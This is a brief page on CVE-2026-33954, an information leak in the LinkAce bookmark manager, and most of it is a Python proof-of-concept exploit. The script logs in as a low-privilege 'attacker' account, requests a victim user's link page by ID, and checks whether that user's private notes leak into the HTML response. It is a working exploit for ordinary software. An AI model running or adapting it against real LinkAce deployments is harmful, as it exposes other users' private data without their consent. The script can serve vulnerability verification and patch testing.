CVE-2026-33954: LinkAce 私有笔记信息泄露漏洞

import requests # Target configuration target_base_url = "http://localhost:8000" login_url = f"{target_base_url}/login" link_detail_url = f"{target_base_url}/links/{{link_id}}" # Attacker credentials (low privilege user) session = requests.Session() payload = { "email": "[email protected]", "password": "attacker_password" } # Step 1: Login to get authenticated session response = session.post(login_url, data=payload) if response.status_code != 200: print("[!] Login failed") exit(1) print("[+] Logged in successfully") # Step 2: Access a link shared by another user (Internal or Public) # Assume '1' is a link ID belonging to a victim user victim_link_id = 1 vuln_url = link_detail_url.format(link_id=victim_link_id) response = session.get(vuln_url) # Step 3: Check if private notes are leaked in the response # The vulnerability exposes private notes in the HTML response if "private_note_content" in response.text: print(f"[!] Vulnerability confirmed! Private note leaked at {vuln_url}") else: print("[-] Private note not found or system patched")